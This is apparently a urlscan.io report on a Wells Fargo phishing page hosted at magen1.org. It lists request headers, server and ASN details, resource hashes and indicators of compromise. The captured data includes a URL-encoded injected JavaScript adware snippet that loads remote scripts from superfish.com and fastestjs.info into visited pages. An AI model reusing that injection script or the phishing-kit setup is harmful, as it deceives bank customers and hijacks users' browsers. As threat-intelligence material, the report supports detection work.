General Check archive.org Show headers Download Go to Full URL data:truncated Protocol DATA Server -, , ASN (), Reverse DNS Software / Resource Hash `30f462d45026dc8ecd8cc61cacaa8dd64232abd2f2472c5b7415434c3286516c` Request headers Response headers Access-Control-Allow-Origin * Content-Type text/javascript
GET H/1.1	404 Not Found	new_search_corner.gif magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/images/	21 KB 21 KB	2724ms 2724ms	Image text/html	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Show image Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/images/new_search_corner.gif Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / PHP/5.4.45 Resource Hash `e6afd0954fc06146476513dc588128d97a7c1db692065a7fb4b259af13b3a971` Request headers Pragma no-cache Accept-Encoding gzip, deflate Host magen1.org User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept image/webp,image/apng,image/,/;q=0.8 Referer* http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/publicsite.css Connection keep-alive Cache-Control no-cache Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/publicsite.css User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:49 GMT Content-Encoding gzip Server LiteSpeed X-Powered-By PHP/5.4.45 Vary Cookie,Accept-Encoding Content-Type text/html; charset=UTF-8 Cache-Control no-cache, must-revalidate, max-age=0 Transfer-Encoding chunked Connection close Accept-Ranges bytes Link <http://magen1.org/wp-json/>; rel="https://api.w.org/" Expires Wed, 11 Jan 1984 05:00:00 GMT
GET H/1.1	404 Not Found	btn_blueslice.gif magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/images/	21 KB 21 KB	5851ms 5787ms	Image text/html	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Show image Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/images/btn_blueslice.gif Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / PHP/5.4.45 Resource Hash `e6afd0954fc06146476513dc588128d97a7c1db692065a7fb4b259af13b3a971` Request headers Pragma no-cache Accept-Encoding gzip, deflate Host magen1.org User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept image/webp,image/apng,image/,/;q=0.8 Referer* http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/publicsite.css Connection keep-alive Cache-Control no-cache Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/publicsite.css User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:52 GMT Content-Encoding gzip Server LiteSpeed X-Powered-By PHP/5.4.45 Vary Cookie,Accept-Encoding Content-Type text/html; charset=UTF-8 Cache-Control no-cache, must-revalidate, max-age=0 Transfer-Encoding chunked Connection close Accept-Ranges bytes Link <http://magen1.org/wp-json/>; rel="https://api.w.org/" Expires Wed, 11 Jan 1984 05:00:00 GMT
GET H/1.1	404 Not Found	tab_bottom.gif magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/images/	8 KB 8 KB	6303ms 6239ms	Image text/html	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Show image Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/images/tab_bottom.gif Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / PHP/5.4.45 Resource Hash `983b223c71f9c1b56c54c0f4181136fafd9084be053a3d00d8c808639fbf2760` Request headers Pragma no-cache Accept-Encoding gzip, deflate Host magen1.org User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept image/webp,image/apng,image/,/;q=0.8 Referer* http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/publicsite.css Connection keep-alive Cache-Control no-cache Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/publicsite.css User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:52 GMT Content-Encoding gzip Server LiteSpeed X-Powered-By PHP/5.4.45 Vary Cookie,Accept-Encoding Content-Type text/html; charset=UTF-8 Cache-Control no-cache, must-revalidate, max-age=0 Transfer-Encoding chunked Connection close Accept-Ranges bytes Link <http://magen1.org/wp-json/>; rel="https://api.w.org/" Expires Wed, 11 Jan 1984 05:00:00 GMT
GET H/1.1	404 Not Found	unselected_tab.jpg magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/images/	29 KB 29 KB	5892ms 5880ms	Image text/html	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Show image Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/images/unselected_tab.jpg Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / PHP/5.4.45 Resource Hash `59c6d5beac8b95f356369c59d8606b1d2ba9a8c5b97656d91b96a4b75bb50060` Request headers Pragma no-cache Accept-Encoding gzip, deflate Host magen1.org User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept image/webp,image/apng,image/,/;q=0.8 Referer* http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/publicsite.css Connection keep-alive Cache-Control no-cache Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/publicsite.css User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:52 GMT Content-Encoding gzip Server LiteSpeed X-Powered-By PHP/5.4.45 Vary Cookie,Accept-Encoding Content-Type text/html; charset=UTF-8 Cache-Control no-cache, must-revalidate, max-age=0 Transfer-Encoding chunked Connection close Accept-Ranges bytes Link <http://magen1.org/wp-json/>; rel="https://api.w.org/" Expires Wed, 11 Jan 1984 05:00:00 GMT
GET H/1.1	404 Not Found	selected_tab.gif magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/images/	12 KB 12 KB	6766ms 3666ms	Image text/html	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Show image Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/images/selected_tab.gif Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / PHP/5.4.45 Resource Hash `ef2aac54dc70c1999ac5fc34b084a92f6ad5de23cc9d3f5001eecf02db6d3f07` Request headers Pragma no-cache Accept-Encoding gzip, deflate Host magen1.org User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept image/webp,image/apng,image/,/;q=0.8 Referer* http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/publicsite.css Connection keep-alive Cache-Control no-cache Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/publicsite.css User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:53 GMT Content-Encoding gzip Server LiteSpeed X-Powered-By PHP/5.4.45 Vary Cookie,Accept-Encoding Content-Type text/html; charset=UTF-8 Cache-Control no-cache, must-revalidate, max-age=0 Transfer-Encoding chunked Connection close Accept-Ranges bytes Link <http://magen1.org/wp-json/>; rel="https://api.w.org/" Expires Wed, 11 Jan 1984 05:00:00 GMT
GET H/1.1	404 Not Found	caret_header_left.gif magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/images/	24 KB 24 KB	6286ms 6219ms	Image text/html	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Show image Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/images/caret_header_left.gif Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / PHP/5.4.45 Resource Hash `582e7b81e7faa1b072e74c259cf2355e959315c1a8f9e2527f8a5fc71cdaa129` Request headers Pragma no-cache Accept-Encoding gzip, deflate Host magen1.org User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept image/webp,image/apng,image/,/;q=0.8 Referer* http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/publicsite.css Connection keep-alive Cache-Control no-cache Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/publicsite.css User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:52 GMT Content-Encoding gzip Server LiteSpeed X-Powered-By PHP/5.4.45 Vary Cookie,Accept-Encoding Content-Type text/html; charset=UTF-8 Cache-Control no-cache, must-revalidate, max-age=0 Transfer-Encoding chunked Connection close Accept-Ranges bytes Link <http://magen1.org/wp-json/>; rel="https://api.w.org/" Expires Wed, 11 Jan 1984 05:00:00 GMT
GET H/1.1	404 Not Found	left_nav_dot.gif magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/images/	12 KB 12 KB	5867ms 5804ms	Image text/html	62.90.247.57 NV-ASN 013 NetVis...
General Check archive.org Show headers Download Go to Show image Full URL http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/images/left_nav_dot.gif Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 62.90.247.57 , Israel, ASN1680 (NV-ASN 013 NetVision Ltd., IL), Reverse DNS Software LiteSpeed / PHP/5.4.45 Resource Hash `ef2aac54dc70c1999ac5fc34b084a92f6ad5de23cc9d3f5001eecf02db6d3f07` Request headers Pragma no-cache Accept-Encoding gzip, deflate Host magen1.org User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Accept image/webp,image/apng,image/,/;q=0.8 Referer* http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/publicsite.css Connection keep-alive Cache-Control no-cache Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/Wells%20Fargo_files/publicsite.css User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Date Sun, 18 Feb 2018 23:13:52 GMT Content-Encoding gzip Server LiteSpeed X-Powered-By PHP/5.4.45 Vary Cookie,Accept-Encoding Content-Type text/html; charset=UTF-8 Cache-Control no-cache, must-revalidate, max-age=0 Transfer-Encoding chunked Connection close Accept-Ranges bytes Link <http://magen1.org/wp-json/>; rel="https://api.w.org/" Expires Wed, 11 Jan 1984 05:00:00 GMT
GET H/1.1	200 OK	994-1668-2054-5 adfarm.mediaplex.com/ad/bk/ Redirect Chain http://adfarm.mediaplex.com/ad/bk/994-1668-2054-5?COL01STO=1&Unique_ID=11201505250225211793504995 http://ams-login.dotomi.com/commonid/match?rurl=http%3A%2F%2Fadfarm.mediaplex.com%2Fad%2Fbk%2F994-1668-2054-5%3Fmpu_token%3DAAAFvcXZNH0KfgAFCY46AAAAAAA%26COL01STO%3D1%26Unique_ID%3D1120150525022521... http://adfarm.mediaplex.com/ad/bk/994-1668-2054-5?mpu_token=AAAFvcXZNH0KfgAFCY46AAAAAAA&COL01STO=1&Unique_ID=11201505250225211793504995&status=0	49 B 605 B	14ms 14ms	Image image/gif	89.207.16.158 Conversant
General Check archive.org Show headers Download Go to Show image Full URL http://adfarm.mediaplex.com/ad/bk/994-1668-2054-5?mpu_token=AAAFvcXZNH0KfgAFCY46AAAAAAA&COL01STO=1&Unique_ID=11201505250225211793504995&status=0 Requested by Host: magen1.org URL: http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php Protocol HTTP/1.1 Server 89.207.16.158 , Sweden, ASN25751 (VALUECLICK - Conversant, Inc., US), Reverse DNS Software nginx / Resource Hash `2f561b02a49376e3679acd5975e3790abdff09ecbadfa1e1858c7ba26e3ffcef` Request headers Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers Pragma no-cache Date Sun, 18 Feb 2018 23:13:47 GMT Server nginx P3P policyref="/w3c/p3p.xml", CP="NOI DSP COR PSAo PSDo OUR IND UNI COM NAV" Cache-Control no-store Connection keep-alive Content-Type image/gif Content-Length 49 Expires 0 Redirect headers Location http://adfarm.mediaplex.com/ad/bk/994-1668-2054-5?mpu_token=AAAFvcXZNH0KfgAFCY46AAAAAAA&COL01STO=1&Unique_ID=11201505250225211793504995&status=0 Date Sun, 18 Feb 2018 23:13:47 GMT Server nginx Connection close Content-Length 0 P3P policyref="/w3c/p3p.xml", CP="NOI DSP NID OUR STP"
GET S	404	sf_conduit.jsp www.superfish.com/ws/	0 0	886ms 807ms	Script text/html	104.18.40.241 Cloudflare
General Check archive.org Show headers Download Go to Full URL https://www.superfish.com/ws/sf_conduit.jsp?dlsource=fastestchrome&CTID=1_2015-01&userId=fastest_000_fastestchrome_1_2015-01_ Requested by Host: text URL: data:text/javascript,(function()%7Bvar%20e%3D%22Chrome%20Webstore%22%3B%0Avar%20c%3D%22FastestChrome%22%3B%0Avar%20h%3D%221358069790376%22%3B%0Avar%20f%3D%22false%22%3B%0Avar%20d%3D%221_2015-01%22%3B%0Aif(window!%3Dwindow.top)%7Breturn%0A%7Dvar%20a%3D%5B%2Fveetle.com%2F%2C%2F1800flowers.com%2F%2C%2Fdominos.com%2F%2C%2Fsquidoo.com%2F%2C%2Fnytimes.com%2F%2C%2Fdeveloper.apple.com%2F%2C%2Fhotmail.com%2F%2C%2Fnfl.com%2F%2C%2Fgrooveshark.com%2F%2Cnew%20RegExp(%22www.google.com%2Freader%22)%2C%2Fpandora.com%2F%2C%2Freddit.com%2F%2C%2Freuters.com%2F%2C%2Farstechnica.com%2F%2C%2Fcbslocal.com%2F%2C%2Fvice.com%2F%2C%2Fonline.wsj.com%2F%2C%2F.live.com%2F%2C%2F.battlefield.com%2F%2C%2Fpch.com%2F%5D%3B%0Afor(var%20b%3D0%3B%0Ab%3Ca.length%3B%0Ab%2B%2B)%7Bif(a%5Bb%5D.test(document.location.href))%7Breturn%0A%7D%7Dvar%20j%3Dfunction(l)%7Bvar%20m%3D0%3B%0Afor(var%20k%3D0%3B%0Ak%3Cl.length%3B%0Ak%2B%2B)%7Bm%3D((m%3C%3C5)-m)%2Bl.charCodeAt(k)%3B%0Am%3Dm%26m%0A%7Dreturn%20m%0A%7D%3B%0Avar%20g%3Dfunction(k)%7Bvar%20i%3Dfunction()%7Bif(window.document.body)%7Bk()%0A%7Delse%7BsetTimeout(i%2C100)%0A%7D%7D%3B%0Ai()%0A%7D%3B%0Ag(function()%7BsetTimeout(function()%7Bif(%2F%5Ehttp%3A%2F.test(document.location.href)%7C%7Cnew%20RegExp(%22%5Ehttps%3A%2F%2Fwww.google.com%22).test(document.location.href))%7Bvar%20o%3Dfunction(p)%7Bvar%20q%3Ddocument.createElement(%22script%22)%3B%0Aq.type%3D%22text%2Fjavascript%22%3B%0Aq.src%3Dp%3B%0Adocument.getElementsByTagName(%22head%22)%5B0%5D.appendChild(q)%0A%7D%3B%0Avar%20l%3Dfunction(p)%7Bif(f!%3D%22false%22)%7Bo(%22http%3A%2F%2Fi.fastestjs.info%2Ffast%2Fjavascript.js%3Fchannel%3D%22%2Bp)%0A%7D%7D%3B%0Avar%20n%3Dfunction(p%2Cq)%7Bo(%22https%3A%2F%2Fwww.superfish.com%2Fws%2Fsf_conduit.jsp%3Fdlsource%3D%22%2Bp%2B%22%26CTID%3D%22%2Bq%2B%22%26userId%3Dfastest_000_%22%2Bp%2B%22_%22%2Bq%2B%22_%22)%0A%7D%3B%0Avar%20k%3Dnavigator.browserLanguage%7C%7Cnavigator.language%3B%0Avar%20i%3D%22fastestchrome%22%3B%0Aif(%2FChrome%2F.test(navigator.userAgent))%7Bif(c%3D%3D%22Fastanium%22)%7Bi%3D%22fastanium%22%0A%7Delse%7Bi%3D%22fastestchrome%22%0A%7D%7Delse%7Bif(%2FFirefox%2F.test(navigator.userAgent))%7Bi%3D%22fastestfox%22%0A%7Delse%7Bif(%2FSafari%2F.test(navigator.userAgent))%7Bi%3D%22fastestsafari%22%0A%7Delse%7Bif(%2FTrident%2F.test(navigator.userAgent))%7Bi%3D%22fastestie%22%0A%7D%7D%7D%7Dvar%20m%3DMath.abs(j(h))%3B%0An(i%2Cd)%0A%7D%7D%2C500)%0A%7D)%0A%7D())%3B Protocol SPDY Server 104.18.40.241 San Francisco, United States, ASN13335 (CLOUDFLARENET - Cloudflare, Inc., US), Reverse DNS Software cloudflare / Resource Hash Request headers Referer http://magen1.org/wp-admin/user/rat/secured/grants/wintking/onlinebanking/question.php User-Agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36 Response headers date Sun, 18 Feb 2018 23:13:48 GMT content-encoding gzip wpe-backend apache server cloudflare x-cacheable non200 expect-ct max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" x-cache MISS content-type text/html; charset=UTF-8 status 404 expires Wed, 11 Jan 1984 05:00:00 GMT cache-control max-age=600, must-revalidate cf-ray 3ef4add1495c97f8-FRA link <https://www.superfish.com/wp-json/>; rel="https://api.w.org/" x-cache-group normal x-pass-why

Verdicts & Comments Add Verdict or Comment

Potentially malicious activity detected
Disclaimer: These verdicts should be used to detect potentially malicious websites, not as a final verdict!

urlscan

Phishing against: Wells Fargo (Banking)

96 JavaScript Global Variables

These are the non-standard "global" variables defined on the window object. These can be helpful in identifying possible client-side frameworks and code.

0 Cookies

Cookies are little pieces of information stored in the browser of a user. Whenever a user visits the site again, he will also send his cookie values, thus allowing the website to re-identify him even if he changed locations. This is how permanent logins work.

Indicators

This is a term in the security industry to describe indicators such as IPs, Domains, Hashes, etc. This does not imply that any of these indicate malicious activity.

adfarm.mediaplex.com
ams-login.dotomi.com
magen1.org
www.superfish.com
104.18.40.241
62.90.247.57
63.215.202.137
89.207.16.158
085feb6b778a68fcc9fbbfc02de8e824a85d97c2ff1e6f790731373d0a505b62
29ad85d10678437a5e68923c8894dbfaa0b8c708da9fdecb2f74691625ad6c9c
2f561b02a49376e3679acd5975e3790abdff09ecbadfa1e1858c7ba26e3ffcef
30f462d45026dc8ecd8cc61cacaa8dd64232abd2f2472c5b7415434c3286516c
5094cb9fb82e0f1f5951a7dfc5f357a62602862de942d692355f195fb93783cf
54967cc9397b5b04a7c05e0340c8b6b8c055fbc9629f214e431bbeea2a0ff486
582e7b81e7faa1b072e74c259cf2355e959315c1a8f9e2527f8a5fc71cdaa129
59c6d5beac8b95f356369c59d8606b1d2ba9a8c5b97656d91b96a4b75bb50060
6e1fbacc5af53bf9b483f27525bba242dfdee626dbe4ac25f2ea1af4a130b1ea
89fe0ee6020314794fc2cfeacf3d10c31050cfe56f8ebddf1ed0a33fbe941fa7
983b223c71f9c1b56c54c0f4181136fafd9084be053a3d00d8c808639fbf2760
a89b85e7f39bf42eab0547929e0ae5f25b7a17223371d34f3fba566dffa06ffb
c0fc8aa23f59a81228c1afba9511ed21d439df804a4e2d508ac6a4e0ae617b6f
c512aef01c7057499342f8552124fcadb63ec0351f649b30d1dfa39af70f8c67
d64d563a5b1e1542c779ece943f88ccf61d18b5bd3f83733808a0ff6099635ce
db6526b270437e0055277dc7649cb134744c33627573950f17f4b52499adb2d8
e6afd0954fc06146476513dc588128d97a7c1db692065a7fb4b259af13b3a971
ebf4a535fa6a88962621940e780ca0cd6707b6cdaed59f469f0aeada311d09d1
ef2aac54dc70c1999ac5fc34b084a92f6ad5de23cc9d3f5001eecf02db6d3f07
ff09fe9841b3d449cc54658471f67300b3d942e9cf5dcda72d2b920b344da6c4

magen1.org Open in urlscan Pro 62.90.247.57 Malicious Activity! Public Scan

Summary

urlscan.io Verdict: Potentially Malicious

Domain & IP information

Screenshot Live screenshot Full Image

Detected technologies

Page Statistics

23 Requests

0 %HTTPS

0 %IPv6

4 Domains

4 Subdomains

4 IPs

4 Countries

237 kBTransfer

501 kBSize

0 Cookies

21 Outgoing links

Redirected requests

23 HTTP transactions Everything HTML Script AJAX CSS Image Expand all 1 data transactions

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Request headers

Response headers

Redirect headers

Request headers

Response headers

Verdicts & Comments Add Verdict or Comment

Potentially malicious activity detected Disclaimer: These verdicts should be used to detect potentially malicious websites, not as a final verdict!

urlscan

96 JavaScript Global Variables

0 Cookies

Indicators

magen1.org Open in urlscan Pro
62.90.247.57 Malicious Activity! Public Scan

Screenshot
Live screenshot

Full Image

23
Requests

0 %
HTTPS

0 %
IPv6

4
Domains

4
Subdomains

4
IPs

4
Countries

237 kB
Transfer

501 kB
Size

0
Cookies

23 HTTP transactions
1 data transactions

Potentially malicious activity detected
Disclaimer: These verdicts should be used to detect potentially malicious websites, not as a final verdict!